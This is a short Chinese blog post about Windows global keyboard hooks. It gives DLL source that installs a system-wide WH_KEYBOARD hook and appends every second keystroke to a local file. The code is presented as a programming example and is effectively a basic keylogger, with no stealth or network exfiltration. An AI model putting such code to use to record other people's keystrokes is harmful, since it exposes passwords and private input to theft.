博客文章

Windows keyboard hook

作者: andy.      时间: 2016-09-03 08:24:50

Windows Hook,因为是全局钩子,所以要做成dll。

附加一个连接:How to set a Windows hook in Visual C# .NET

int repeat;
HMODULE hHookDll;//获得DLL 的句柄
HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode, WPARAM wParam, LPARAM lParam);
void SaveInput(const char *s);
extern HMODULE hHookDll;

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	repeat = 0;
	hHookDll = hModule;
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

_declspec(dllexport) void print() {
	int abc = 1 + 2;
}
_declspec(dllexport) void WINAPI UnInstallLanunchEv() {
	UnhookWindowsHookEx(Hook);
}

_declspec(dllexport) void WINAPI InstallLaunchEv() {
	Hook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)LauncherHook, hHookDll, 0);
	DWORD xoxo;
	if (Hook == NULL) {
		xoxo = GetLastError();
	}
}

LRESULT CALLBACK LauncherHook(int nCode, WPARAM wParam, LPARAM lParam) {
	LRESULT result = CallNextHookEx(Hook, nCode, wParam, lParam);
	if (nCode == HC_ACTION) {
		char buffer[1024];
		memset(buffer, 0, 1024);
		sprintf(buffer, "%c.", wParam);

		if (repeat) {
			FILE * p = fopen("D:\\output.txt", "a+");
			//fputs("nihao ", p);
			fputc(wParam, p);
			fclose(p);
			//SaveInput(buffer);
			repeat = 0;
		}
		else
			repeat = 1;


	}
	return result;
}

void SaveInput(const char *s) {
	FILE * p = fopen("D:\\output.txt", "w");
	fputs(s, p);
	fclose(p);
}

加个函数,导入就可以使用。hhookDll在dll的初始化函数中,将dll的句柄赋值给它就行了。